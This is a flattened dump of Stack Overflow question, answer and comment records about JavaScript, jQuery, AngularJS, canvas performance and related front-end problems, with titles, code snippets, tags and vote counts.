tagged with: javascript
has answer: http://stackoverflow.com/a/26161057
answer count: 2
has comment: http://stackoverflow.com/comment/40161604
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40161492
type: UnansweredQuestion
has title: Stepping through code using PhantomJS while running tests using Karma
tagged with: phantomjs
tagged with: karma-runner
has answer: http://stackoverflow.com/a/41375287
has comment: http://stackoverflow.com/comment/40161686
type: Question
has comment: http://stackoverflow.com/comment/40161418
score: 5
has body: I am running my tests using Karma on PhantomJS, and am facing an asynchronous run loop issue. I was wondering if there is anyway to interactively debug code(step through) when tests are running. Any help is greatly appreciated.
has comment: http://stackoverflow.com/comment/40161041

http://stackoverflow.com/comment/40144068
type: Comment
comment on: http://stackoverflow.com/q/25685843
type: QuestionComment
has text: used attr() instead of prop(). It doesn't work.
score: 0

http://stackoverflow.com/a/25597976
has comment: http://stackoverflow.com/comment/39985183
downvote count: 0
has comment: http://stackoverflow.com/comment/39985252
has body: jsBin demo I would check for the computed styles: $(".post").each(function() { var cs = window.getComputedStyle(this); if (cs.backgroundImage==="none" &amp;&amp; cs.backgroundColor==="transparent" || /0\)$/.test(cs.backgroundColor) ) { var color = "hsl("+ ~~(Math.random()*360) +",60%,70%)"; $(this).css("background-color", color); } }); This line /0\)$/.test(cs.backgroundColor) just tests if the rgba value ends with 0 alpha opacity 0) (Webkit returns rgba(0, 0, 0, 0) instead of "transparent" which is basically the same). Using hsl() Hue, Saturation, Lightness (instead of hex #) will give you more control over the random generated color intensity (so you can best suit it to the general website lightness and feel).
accepted answer of: http://stackoverflow.com/q/25597885
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/39985216
has comment: http://stackoverflow.com/comment/39985146
upvote count: 3
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39985174
answers question: http://stackoverflow.com/q/25597885

http://stackoverflow.com/comment/40094743
comment on: http://stackoverflow.com/a/25649592
type: AnswerComment
score: 0
type: Comment
has text: I am sorry, I do not underhand your respond, nor the example.

http://stackoverflow.com/comment/40052817
has text: @K.AlanBates `$interval` does return a promise as the docs states. If you correctly return from `$scope.pollService`, then you should be able to do `$scope.pollService().then(...)`. If that doesn't work there's another issue in your code somewhere.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25634861
type: Comment

http://stackoverflow.com/a/25658522
downvote count: 0
has comment: http://stackoverflow.com/comment/56552083
answers question: http://stackoverflow.com/q/25657856
accepted answer of: http://stackoverflow.com/q/25657856
upvote count: 2
type: AcceptedAnswer
has body: You might want to use a directive and listen to the element to be ready: html: &lt;div ng-controller="MyController"&gt; &lt;div class="thing" ng-bind="content" cufon-replace-directive&gt; content {{content}} &lt;/div&gt; &lt;/div&gt; js: function MyController($scope) { $scope.content = [ 'param1', 'param2' ]; } angular.module('myApp', []) .directive('cufonReplaceDirective', function() { return function(scope, element, attrs) { element.ready(function(){ element.html(element.html().replace(/[0-9]/g,"!!!")) }) }; }); Working example updated for cufon: function MyController($scope) { $scope.content = [ 'param1', 'param2' ]; } angular.module('myApp', []) .directive('cufonReplaceDirective', function() { return function(scope, element, attrs) { scope.content = ["somecontent123"] element.ready(function(){ Cufon.replace('.thing', {onAfterReplace: Bifon.convert, fontFamily: 'B Titr'}); }) }; });
type: Answer
score: 2

http://stackoverflow.com/comment/40046653
score: 0
has text: Yup, iterating directly over `$.fn` and filtering through `$.isFunction()` should work I believe. I'll update my answer.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25631493

http://stackoverflow.com/comment/39987878
type: Comment
has text: How does jQuery simplify a basic regex?
score: 3
type: AnswerComment
comment on: http://stackoverflow.com/a/25599597

http://stackoverflow.com/q/25659563
has answer: http://stackoverflow.com/a/58176408
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25660318
has answer: http://stackoverflow.com/a/48588915
favorite count: 0
type: UnansweredQuestion
upvote count: 7
has answer: http://stackoverflow.com/a/25659869
score: 7
has comment: http://stackoverflow.com/comment/119354071
has comment: http://stackoverflow.com/comment/40097771
has comment: http://stackoverflow.com/comment/40097266
has title: Select all the text of a HTML document
type: Question
downvote count: 0
tagged with: javascript
answer count: 6
has answer: http://stackoverflow.com/a/25660131
has answer: http://stackoverflow.com/a/61964232
has body: How can i select the whole HTML document using javascript. I have tried these functions but dint work!! function SelectAll() { document.body.focus(); document.body.select(); } function SelectAll() { document.body.select(); } My whole code is LaLa, Lala, laLa , lala, lalala, tralala, some other text Find!

http://stackoverflow.com/a/25673456
has comment: http://stackoverflow.com/comment/40123948
has comment: http://stackoverflow.com/comment/40123433
type: Answer
answers question: http://stackoverflow.com/q/25673411
has comment: http://stackoverflow.com/comment/40121990
score: 0
has body: give this a shot: $('.accordionHead').each( function(){ $(this).bind('click', function(){ $(this).find('h2 a:gt(1)').css("color", "green"); }); });

http://stackoverflow.com/q/25664186
answer count: 2
downvote count: 0
tagged with: erb
tagged with: javascript
tagged with: variables
has title: Rails - Asset_path inside js with variable possible?
has answer: http://stackoverflow.com/a/40334049
has comment: http://stackoverflow.com/comment/40110621
has answer: http://stackoverflow.com/a/41523918
favorite count: 0
tagged with: asset-pipeline
possible better answer: http://stackoverflow.com/a/41523918
upvote count: 1
tagged with: ruby-on-rails
has comment: http://stackoverflow.com/comment/40106155
has body: is it possible to add a variable that defines the asset inside asset_path? Like test.js.erb img_container = function(value){ var img = "&lt;%= asset_path('" + value + "' %&gt;"; console.log(img); } this prints / + value +
accepted answer: http://stackoverflow.com/a/40334049
type: AnsweredQuestion
score: 1
type: Question

http://stackoverflow.com/q/25657655
type: Question
has comment: http://stackoverflow.com/comment/40104757
linked to: http://stackoverflow.com/q/16421179
has body: Background: When a delivery is created, an entry will be created under: 1- DELIVERIES->COMPANY->FIREBASEGENERATEDID->DELIVERY DETAILS To allow users to track their purchases, they will have the delivery company and the unique ID of the delivery added to their profile. 2- USERS->DELIVERYTRACKING->COMPANY(delivery)->FIREBASEGENERATEDID(generated from deliveries above): TRUE I am able to utilise Firebase.util.intersection to return an array of Firebase references, based on the use case above. However, when bound to a variable in $scope, I am unable to access the specific keys of the child object although I can display the lot to the view. I've constructed a detailed JSFiddle which should explain the problem much more eloquently that I can by typing. JSFiddle Link: http://jsfiddle.net/rwk1/8po8t35q/9/ SO required code: {{tDelivery}} Question: How do I access the individual delivery details i.e. status? 'use strict'; var app = angular.module('testApp', [ 'firebase' ]); Controller: app.controller('TestCtrl', function($scope, $firebase){ var fb = new Firebase('https://so0001.firebaseio.com'); var trackingRef = fb.child('users/Cara/deliveryTracking'); var trackingFb = $firebase(trackingRef); trackingFb.$on('loaded', function(){ console.log(trackingFb.$getIndex()); }); var trackedDeliveryRefArray = []; (function(){ trackingFb.$on('loaded', function(){ //console.log(trackingFb.$getIndex()); angular.forEach($firebase(trackingRef ).$getIndex(), function (k,v){ var trackedDeliveryRef = new Firebase.util.intersection(fb.child('users/Cara/deliveryTracking/' + k ), fb.child('deliveries' + '/' + k )); trackedDeliveryRefArray.push($firebase(trackedDeliveryRef)); }); }); })(); $scope.trackedDelivery = trackedDeliveryRefArray; }); Result: {"-randomFBKey1":{"company1":true,"name":"name value 1","status":"delivery 1 status"}} {"-randomFBKey3":{"company2":true,"name":"delivery 3","status":"delivery 3 status"}} Question: How do I access the individual delivery details i.e. status? Structur…
downvote count: 0
has title: AngularJS + Firebase.util. How do I access data without knowing parent key?
tagged with: javascript
has comment: http://stackoverflow.com/comment/40110921
linked to: http://stackoverflow.com/q/25512039
has comment: http://stackoverflow.com/comment/40196076
linked to: http://stackoverflow.com/q/22135196
favorite count: 0
answer count: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40202034
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40115884
upvote count: 1
has comment: http://stackoverflow.com/comment/40196168
tagged with: firebase
tagged with: object
score: 1
has comment: http://stackoverflow.com/comment/40106662
has comment: http://stackoverflow.com/comment/40200775
has comment: http://stackoverflow.com/comment/40125911

http://stackoverflow.com/q/25635112
has comment: http://stackoverflow.com/comment/40055944
has body: I have a quite simple loop that draws an 8px by 8px image many times in a canvas in a tiling fashion. Currently it's drawing 7500 images each loop. See the jsfiddle. var img = new Image(); img.src = 'http://i.imgur.com/3dzaMlv.png'; var W = 8; var H = 8; var R = 800/W; var C = 600/H var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); var fps = document.getElementById('fps'); var timePrev = new Date().getTime(); var fpsInterval = 30; var i = 0; window.setInterval(function() { ctx.clearRect(0, 0, 800, 600); for (var r=0 ; r&lt;R ; r++) { for (var c=0 ; c&lt;C ; c++) { ctx.drawImage(img, r*W, c*H); } } // fps if (i % fpsInterval == 0) { var timeNow = new Date().getTime(); var spf = (timeNow - timePrev) / fpsInterval / 1000; fps.innerHTML = (1/spf).toFixed(2); timePrev = timeNow; } i++; }, 1000/60); On my I7-2700K (3.5GHz) processor and ATI Radeon HD7970, I am getting the following framerates: Chrome 36.0.1985.143 m : ~40 FPS Firefox 30.0 : ~55 FPS IE 11.0.9600.17239 : ~35 FPS Is there any way to improve FPS performance here, assuming I do actually need to draw this many tiles on each update? EDIT: To clarify, I'm requiring that they be drawn as individual tiles on each update. So, rendering them all to an off-screen canvas wouldn't work. I am essentially disappointed in the number of drawImage() calls that seems to perform well.
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/28356614
type: Question
tagged with: performance
has answer: http://stackoverflow.com/a/28356257
has comment: http://stackoverflow.com/comment/40068461
has comment: http://stackoverflow.com/comment/40061565
score: 0
has title: Can the performance of this canvas drawImage() test be improved?
answer count: 2
tagged with: canvas
tagged with: javascript

http://stackoverflow.com/a/25610706
type: Answer
score: 2
downvote count: 0
has body: Yes, you will need to use a parser. Regex isn't really capable of parsing arbitrarily nested javascript code. You probably will want to use http://esprima.org/ which gives you a syntax tree, in which you can locate your async functions and transform the tree appropriately. However, I don't think you will want to re-invent the wheel. Have a look at this list of tools that compile synchronous to asynchronous JavaScript.
answers question: http://stackoverflow.com/q/25609219
upvote count: 2

http://stackoverflow.com/q/25564425
has answer: http://stackoverflow.com/a/25564905
tagged with: javascript
answer count: 3
downvote count: 0
tagged with: jquery
has body: $(document).ready(function(){ $('.more').click(function() { var thumbsBlock = $(this).siblings('.thubmnailsWrap'); $($(this), thumbsBlock).animate({ 'left' : "-=60px" //moves left }); }); }); I use siblings and expect .thubmnailsWrap to move along with .more but failed. check my demo here http://jsfiddle.net/pdjkh69m/4/ I solved it, here is the code http://jsfiddle.net/pdjkh69m/8/ but I wonder why in my previous code, the multiple selector jst does not work, any idea? I kinda want to continue with duplicated code.
has answer: http://stackoverflow.com/a/25564591
favorite count: 0
tagged with: css
type: UnansweredQuestion
score: 1
upvote count: 1
type: Question
tagged with: jquery-animate
has comment: http://stackoverflow.com/comment/39922726
has answer: http://stackoverflow.com/a/25565074
has title: animate() jquery failed in my case

http://stackoverflow.com/comment/39981943
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25596200
has text: What does "destroys the site" mean? It's an extremely vague problem description; you sound like you're saying the whole site is gone and you have to rebuild it.
score: 1

http://stackoverflow.com/a/25667296
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/40449609
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25667268
answers question: http://stackoverflow.com/q/25667268
upvote count: 2
type: AcceptedAnswer
has body: Don't use the g flag in a regex when you only use test : it doesn't make sense and, more importantly, it makes it an iterator whose result changes with each call to test and I guess the literal regexes are used more than once in jqunit. Change /(\d+[-/\.]\d+[-/\.]\d+)/g to /(\d+[-/\.]\d+[-/\.]\d+)/
has comment: http://stackoverflow.com/comment/40449703

http://stackoverflow.com/comment/40084037
score: 0
has text: Are you serious? :D Thanks! I was trying to figure this out for like hours and you came in like a clever-ball. Thanks for the answer. It works fine. I am just wondering, is it ideal to include PHP element based on that one you wrote into the header.php? Or is there another way how to include field_check into the website's functionality?
comment on: http://stackoverflow.com/a/25651190
type: Comment
type: AnswerComment

http://stackoverflow.com/a/25684663
answers question: http://stackoverflow.com/q/25684487
has body: function drag(event){ event.preventDefault(); $(document).mouseup(); } See if this works.
has comment: http://stackoverflow.com/comment/40143082
score: 0
has comment: http://stackoverflow.com/comment/40142220
type: Answer
upvote count: 1
downvote count: 1

http://stackoverflow.com/comment/39931880
has text: No I do not need the quotes. Those were meant 2 be that way. I was missing the comma only. Thanks
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25569351
type: Comment

http://stackoverflow.com/q/25588249
score: 0
has comment: http://stackoverflow.com/comment/39978821
has body: Alright so, I have tried this a number of different ways and can't seem to get it to work. I keep getting the error that ObjectID is undefined and I don't know where to look anymore. // This is my attempt at parallax scrolling window.onscroll = moveObj( 'box', 300, 3, 4) || moveObj(); function moveObj(elem, endpt, hrspd, vrspd) { elem = elem || ""; endpt = endpt || 0; hrspd = hrspd || 0; vrspd = vrspd || 1; //Get elements var ObjectID = (document.getElementById(elem) || "box2"); ObjectID.style.backgroundColor = "Purple"; //Set StopPoint and Speed ObjectID.style.left=((window.pageYOffset&lt;endpt)?(window.pageYOffset):(-window.pageYOffset+(endpt*2))*vrspd); //Eliminate vertical movement ObjectID.style.top = (window.pageYOffset)*hrspd; }; Thanks for any help in advance!
has comment: http://stackoverflow.com/comment/39967271
has title: variable.style.backgroundColor Undefined
has answer: http://stackoverflow.com/a/25590352
accepted answer: http://stackoverflow.com/a/25590352
type: AnsweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/39977740
answer count: 1
tagged with: javascript

http://stackoverflow.com/a/25572747
accepted answer of: http://stackoverflow.com/q/25572681
score: 1
answers question: http://stackoverflow.com/q/25572681
upvote count: 1
type: AcceptedAnswer
has body: You have a couple problems. Edit: Only one problem -- I now see from your comment below that belovedanchor is not the actual selector in your code. First, your jQuery selector for the click event handler is most likely incorrect. Change $('belovedanchor') to $('.belovedanchor') or $('#belovedanchor') depending if the anchor is identifiable by either class or element ID respectively. Second, this in the do callback function does not refer to the anchor. In JavaScript, scope is set at the function level, so anytime you declare a new function, this will refer to that new scope. Do this instead: $('belovedanchor').click(function(e) { var anchor = $(this); function do() { anchor.hide(); }; $.get($(this).attr('href')).done(function() { do(); }); }); Simplified: $('belovedanchor').click(function(e) { var anchor = $(this); $.get(anchor.attr('href')).done(function() { anchor.hide(); }); });
type: Answer
downvote count: 0

http://stackoverflow.com/a/25612367
answers question: http://stackoverflow.com/q/25612292
downvote count: 0
score: 1
has body: You should be attaching a click handler or, if you must, use the onclick attribute to call JS functions. Doesn't work because abc is a variable. It obviously doesn't exist from there. This works because 123 is an integer(number) literal. This string is getting encoded automatically for security reasons. You would need to escape a string literal if you had to pass it in this way. I find I don't need to do anything with onclick and this would work just fine. See here: http://plnkr.co/edit/s5Mxz8KPYcUypEkY0qdX?p=preview This should work just fine: Add Hopefully that helps.
has comment: http://stackoverflow.com/comment/40011185
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40011389
has comment: http://stackoverflow.com/comment/40011159
accepted answer of: http://stackoverflow.com/q/25612292
type: Answer

http://stackoverflow.com/comment/40114762
type: QuestionComment
has text: I have the project in locahost :\
score: 0
comment on: http://stackoverflow.com/q/25668461
type: Comment

file
type: Tag
tags question: http://stackoverflow.com/q/25686118
tags question: http://stackoverflow.com/q/25658898
tags question: http://stackoverflow.com/q/25610725
tag name: file
tags question: http://stackoverflow.com/q/25641795
tags question: http://stackoverflow.com/q/25596955
tags question: http://stackoverflow.com/q/25660956
tags question: http://stackoverflow.com/q/25677681
tags question: http://stackoverflow.com/q/25607443

http://stackoverflow.com/q/25704495
tagged with: validation
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25708458
has comment: http://stackoverflow.com/comment/40188840
has comment: http://stackoverflow.com/comment/40182412
has title: Fancy sliding form with more validation
type: AnsweredQuestion
type: Question
accepted answer: http://stackoverflow.com/a/25708458
has body: I am using this fancy sliding box and having some problem with validation.It has default validation for checking where a field is empty or not but i want to add some more validation like two specific fields are equal or not or the length of a specific field is within the desired length or not.I have edited the code but facing a problem that is when a previous navigation field has any error it is also adding error class for the next navigation though it was filled correctly. Here is my code(Be noted i don't know jquery well) : function validateStep(step) { if(step == fieldsetCount) return; var error = 1; var hasError = false; $('#formElem').children(':nthchild('+parseInt(step)+')') .find(':input:not(button)') .each(function() { var $this = $(this); var valueLength = jQuery.trim($this.val()).length; //i don't know how to generate a specific field value using this keyword var pas=$('#myPassword').val().length; var pas1=$('#myPassword').val(); var pas2=$('#VerifyPassword').val(); var pin1=$('#mPin').val(); var pin2=$('#vVPin').val(); var pas_ok=1; if(pas1 != pas2 || pin1 ! =pin2 || pas < 5 ) { pas_ok=0; } if(valueLength == '' || pas_ok==0) { hasError = true; $this.css('background-color','#FFEDEF'); } else { $this.css('background-color','#FFFFFF'); } }); var $link = $('#navigation li:nth-child(' + parseInt(step) + ') a'); $link.parent().find('.error,.checked').remove(); var valclass = 'checked'; if(hasError) { error = -1; valclass = 'error'; } $('').insertAfter($link); return error; } Here is my form: Account Password <input type="password" name="myPassword" id="myPassword" value="<?=$myPassword;?>" AUTOCOMPLETE=OFF /> Verify Password <input type="password" name="VerifyPassword" id="VerifyPassword" value="<?=$VerifyPassword;?>" /> Your Personal Pin <input type="pin" name="mPin" id="mPin" value="<?=$mPin;?>" /> Verify Personal Pin <input type="pin" name="vVPin" id="vVPin" value="<?=$vVPin;?>" />
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40185322

http://stackoverflow.com/a/25640224
answers question: http://stackoverflow.com/q/25638962
has body: Ok here's a code review/answer: First I modified these lines: var countA = text.match(/[Aa]/g).length; To: var countA = (text.match(/[Aa]/g) ? text.match(/[Aa]/g).length : 0); As it returns "Uncaught TypeError: Cannot read property 'length' of null" if the vowel doesn't appear in the control. This will set's it to 0. Next I simplified the array declaration to: var vowels = ["countA", "countE", "countI", "countO", "countU"]; Then I removed this seciton, which does nothing as it's overwritten later: // does nothing // for (var i = 0; i &lt; vowels.length; i++) { // document.getElementById("result").innerHTML = i + vowels[i] + "&lt;br /&gt;"; // } Then I worked out the highest count using Math.max: var maxVal = Math.max(countA,countE,countI,countO,countU); Then to make the value bold in the output, I created a function to compare values to the max value: function formatValue(val, max) { return (val === max) ? '&lt;strong&gt;' + val + '&lt;/strong&gt;' : val; } So your final section would call this function to output the number like this: document.getElementById("result").innerHTML += "A's: " + formatValue(countA,maxVal) + "&lt;br /&gt;"; Demo JS Fiddle Complete JS function countVowels() { var text = document.getElementById("text").value; var arrayOfLetters = text.split(""); // These are the counters for the program to find the vowels. var countA = (text.match(/[Aa]/g) ? text.match(/[Aa]/g).length : 0); var countE = (text.match(/[Ee]/g) ? text.match(/[Ee]/g).length : 0); var countI = (text.match(/[Ii]/g) ? text.match(/[Ii]/g).length : 0); var countO = (text.match(/[Oo]/g) ? text.match(/[Oo]/g).length : 0); var countU = (text.match(/[Uu]/g) ? text.match(/[Uu]/g).length : 0); var countComma = (text.match(/[,.!": ;?)(]/gi) ? text.match(/[,.!": ;?)(]/gi).length : 0); var bold = "&lt;strong&gt;"; var vowels = ["countA", "countE", "countI", "countO", "countU"]; var maxVal = Math.max(countA,countE,countI,countO,countU); // This code will output the results. document.getElement…
type: Answer
score: 0

http://stackoverflow.com/q/25617906
has answer: http://stackoverflow.com/a/25618375
has comment: http://stackoverflow.com/comment/40021415
accepted answer: http://stackoverflow.com/a/25618498
possible better answer: http://stackoverflow.com/a/25618178
tagged with: javascript
tagged with: jquery
has body: I have this HTML code: When clicking on DIV.picmonkey I would like to get value "115" from input named field_tablica[und][0][fid] where 0 can be from 0 to 9. What jQuery selector should I use?
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/40021537
has comment: http://stackoverflow.com/comment/40021476
has comment: http://stackoverflow.com/comment/40021504
has answer: http://stackoverflow.com/a/25618498
has title: Tricky jQuery selector
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25618178

http://stackoverflow.com/comment/40110812
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25633141
has text: @AnnaSmother exactly and judging by ThinksterIO's Twitter, looks like they've abandoned ship. Last (re)tweet was from March 2014.
score: 0

http://stackoverflow.com/comment/39956703
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25582056
has text: I feel very stupid

http://stackoverflow.com/q/25702043
type: Question
has comment: http://stackoverflow.com/comment/40177458
tagged with: javascript
has comment: http://stackoverflow.com/comment/40177568
tagged with: grails
score: 0
tagged with: groovy
has body: When we need to pass some values from Controller to a view we use to send it through model. In Controller render(view : "projectView", model:[p:project]); In GSP Test ${p} But I'd to grab the value of ${p} and make use of it in a JavaScript method. How can I do that? function messageKeyPress(field, event) { var theCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode; var message = $('#messageBox').val(); if (theCode == 13) { var Person = ${p} } } Firefox complains that there's a syntax error, and doesn't take the value ${p}. How can I solve this ?
answer count: 1
tagged with: jquery
has title: Passing values from a controller to a GSP - to a javascript function
has answer: http://stackoverflow.com/a/25706373
has comment: http://stackoverflow.com/comment/40176883
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40184037
has comment: http://stackoverflow.com/comment/40178162
has comment: http://stackoverflow.com/comment/40177627

http://stackoverflow.com/a/25668903
upvote count: 3
type: AcceptedAnswer
type: Answer
score: 3
downvote count: 0
has body: I have fixed it and thought I'd post here in case it's useful to anyone else. I needed to prefix the attributes that IE8 &amp; 9 doesn't know about with data- to ensure older IE versions don't remove them from the DOM. I've updated the plunk, but essentially I changed one line above to look like the one below: var el = angular.element('&lt;input ng-model="qty" data-type="number" data-min="0" step="1" placeholder="0" /&gt;'); Note the data- prefix to two of the attibutes in the html string.
accepted answer of: http://stackoverflow.com/q/25648668
answers question: http://stackoverflow.com/q/25648668

http://stackoverflow.com/q/25610675
has title: js prototype performance difference
linked to: http://stackoverflow.com/q/17474390
has body: Is there some difference in speed\performance\memory usage or something else? function Foo(){} Foo.prototype = { bar1 : function(){}, bar2 : function(){} } and function Foo(){} Foo.prototype.bar1 = function(){}; Foo.prototype.bar2 = function(){}; and what's the difference for google closure compile between those two code blocks ?
answer count: 0
type: UnansweredQuestion
type: Question
score: 1
tagged with: prototype
duplicate of: http://stackoverflow.com/q/17474390
has comment: http://stackoverflow.com/comment/40008189
upvote count: 1
downvote count: 0
tagged with: javascript
favorite count: 0

http://stackoverflow.com/a/25935104
accepted answer of: http://stackoverflow.com/q/25638527
upvote count: 8
has body: Simplest thing to do might be to wrap getModelPromise so that it returns a promise resolving to an object with your model and your data as properties instead of just your model. Or, if you don't want to use a promise you can do it in Highland: var modelStream = eventStream.map(function (data) { return _(getModelPromise(data.id)).map(function (model) { return {data: data, model: model}; }); }).parallel(10); // then... modelStream.map(function (x) { x.model.doStuff(x.data.foo); }); Zipping the modelStream and an observed version of the eventStream should also work, but I usually prefer to pass around objects which contain everything you need.
answers question: http://stackoverflow.com/q/25638527
type: AcceptedAnswer
score: 8
has comment: http://stackoverflow.com/comment/46743072
type: Answer
downvote count: 0

http://stackoverflow.com/a/25611199
answers question: http://stackoverflow.com/q/25610210
type: Answer
has body: The following javascript code will complete your task var nod = document.getElementById("MainContent_TabContainer1").getElementsByTagName('*'); for (var i = 0; i &lt; nod.length; i++) { nod[i].disabled = true; } If you want to do this job by jquery then you can write the following code $("#MainContent_TabContainer1 *").attr("disabled", "disabled").off('click');
has comment: http://stackoverflow.com/comment/40036840
score: 0

http://stackoverflow.com/a/25682242
has body: function invertTable(table){ var $table = $(table); var invertedTable = []; for(var i=0 ; i &lt; $table.find('tr:first th').length ; i++){ invertedTable.push([]); } $table.find('th,td').each(function(){ invertedTable[$(this).index()].push($(this).text()); }) var $newTable = $('&lt;table&gt;&lt;/table&gt;'); for(var i=0 ; i &lt; invertedTable.length ; i++){ var $newTr = $('&lt;tr&gt;&lt;/tr&gt;'); for(var j = 0 ; j &lt; invertedTable[i].length ; j++){ if(j == 0 || i == 0){ $newTr.append('&lt;th&gt;'+invertedTable[i][j]+'&lt;/th&gt;'); } else{ $newTr.append('&lt;td&gt;'+invertedTable[i][j]+'&lt;/td&gt;'); } } $newTable.append($newTr); } $table.after($newTable) $table.remove(); } http://jsfiddle.net/xybmoadx/1/
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25681595
upvote count: 2

http://stackoverflow.com/a/25707340
upvote count: 1
has body: i would make this way, though alert as a feedback is a terrible solution (very annoying), try to give it in html or use console.log(): // default object for a flash-card library function fc () { this.cards = {}; } // clean input from tabs, spaces, upper-cases // you can add functionality to make it better fc.prototype.simplify = function ( val ) { return val.toLowerCase().trim(); } // add to library an item fc.prototype.add = function ( key, val ) { key = this.simplify( key ); val = this.simplify( val ); this.cards[ key ] = val; } // check the right value for the key fc.prototype.check = function ( key, val ) { key = this.simplify( key ); val = this.simplify( val ); if ( this.cards.hasOwnProperty( key ) &amp;&amp; this.cards[ key ] === val ) { return true; } return false; } // test all values in order fc.prototype.test = function () { for (var key in this.cards) { var guess = prompt('and a Spanish word for "' + key + '"' ); if ( this.check( key, guess ) ) { alert( 'right' ); // console.log( 'right' ) } else { alert( 'wrong' ); // console.log( 'wrong' ) } } } // making a spanish cards stack var spanish = new fc(); // adding cards spanish.add( 'Friend', 'Amigo' ); spanish.add( 'Water', 'Agua' ); // starting the test spanish.test();
has comment: http://stackoverflow.com/comment/40228901
has comment: http://stackoverflow.com/comment/40237426
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25707247
score: 1

http://stackoverflow.com/comment/39911997
score: 0
type: AnswerComment
type: Comment
has text: Please add a plunker then we can surely answer your question
comment on: http://stackoverflow.com/a/25558149

http://stackoverflow.com/comment/40096186
score: 0
has text: the server at "Elizabeth town", needs to grant you access to it. HTTP speaking, the server needs to send in the header a property called `Access-Control-Allow-Origin` with the value of `*` (for all requests from all websites) or the domain name, like `http://foo.domain.com` that will only allow `http://foo.domain.com` to perform requests.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25658940

http://stackoverflow.com/comment/39939019
has text: I assume `getHistoryState` is a callback. It is setting `processedResult` to `result` before `result` has gotten any value. Without knowing anything about p5.js, I assume the callback is called with a parameter of the data in question. That is what you need to set `processedResult` or `result` to.
comment on: http://stackoverflow.com/q/25571299
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25603306
type: Question
score: 1
has answer: http://stackoverflow.com/a/25627485
accepted answer: http://stackoverflow.com/a/25627485
tagged with: java
tagged with: import
upvote count: 1
answer count: 1
tagged with: javascript
favorite count: 0
has body: I am trying to import live data from a webpage. However the webpage seems to be written in a script so I can't seem to be able to import the data into excel. I am trying to run a macro. I did a search and found the following thread very useful; Import Data in Excel from a table created by a script in a WebPage (first answer) but I don't have enough knowledge to tweak the code for my website? Can someone help me? Thanks
tagged with: http://stackoverflow.com/tag/html
has title: Import data into excel from a webpage written in script
type: AnsweredQuestion
downvote count: 0
linked to: http://stackoverflow.com/q/21039677
tagged with: excel

http://stackoverflow.com/q/25683268
has title: Check next event before executing handler of previous to hide autocomplete
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40141397
score: 2
has comment: http://stackoverflow.com/comment/40139924
type: Question
upvote count: 2
answer count: 2
has answer: http://stackoverflow.com/a/25684565
tagged with: javascript
favorite count: 0
has body: I have an Angular input field which works like an autocomplete dropdown. I show the suggestions as input matches existing data. I have to hide the dropdown when focus is lost. &lt;input type="text" ng-model="ctrl.inputs.name" ng-blur="ctrl.autocomplete.visible = false" ng-keyup="ctrl.handleAutocomplete()"/&gt; &lt;!-- logic for suggestions --&gt; &lt;div ng-repeat="name in ctrl.names" data-name"{{name.name}}" ng-click="ctrl.setName($event)"&gt; {{name.name}} &lt;/div&gt; Now while typing inputs, this works fine and I get a list of items. Ideally, you click on an item from the list to set it in controller. I am already hiding the suggestions in controller at that point - ctrl.autocomplete.visible = false. But before the ng-click of the options, ng-blur is called on input, which hides the dropdown list. So I never reach to ng-click. Removing the ng-blur works fine, but I need to hide the dropdown when focus is lost from input. Help Appreciated.
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25683745
downvote count: 0
tagged with: angularjs

http://stackoverflow.com/comment/40066546
score: 0
type: AnswerComment
type: Comment
has text: There is one, a few lines before JS ;-)
comment on: http://stackoverflow.com/a/25642889

http://stackoverflow.com/a/25692076
has comment: http://stackoverflow.com/comment/40227096
type: Answer
accepted answer of: http://stackoverflow.com/q/25691915
score: 1
upvote count: 1
type: AcceptedAnswer
downvote count: 0
has body: JSFiddle doesn't like calls to javascript embedded in your html. In the interest of keeping your code clean event handlers are assigned via javascript instead. Change your html to: &lt;input type="file" id='fileInput'/&gt; and then in your JS document.getElementById('fileInput').onchange = function() { performSomeActions(); } working fiddle: http://jsfiddle.net/bmartinelle/rhbphvhu/
answers question: http://stackoverflow.com/q/25691915

http://stackoverflow.com/q/25586408
has answer: http://stackoverflow.com/a/25586471
tagged with: socket.io
type: Question
has title: Javascript / JQuery Scope Issue
accepted answer: http://stackoverflow.com/a/25586471
answer count: 1
tagged with: javascript
tagged with: jquery
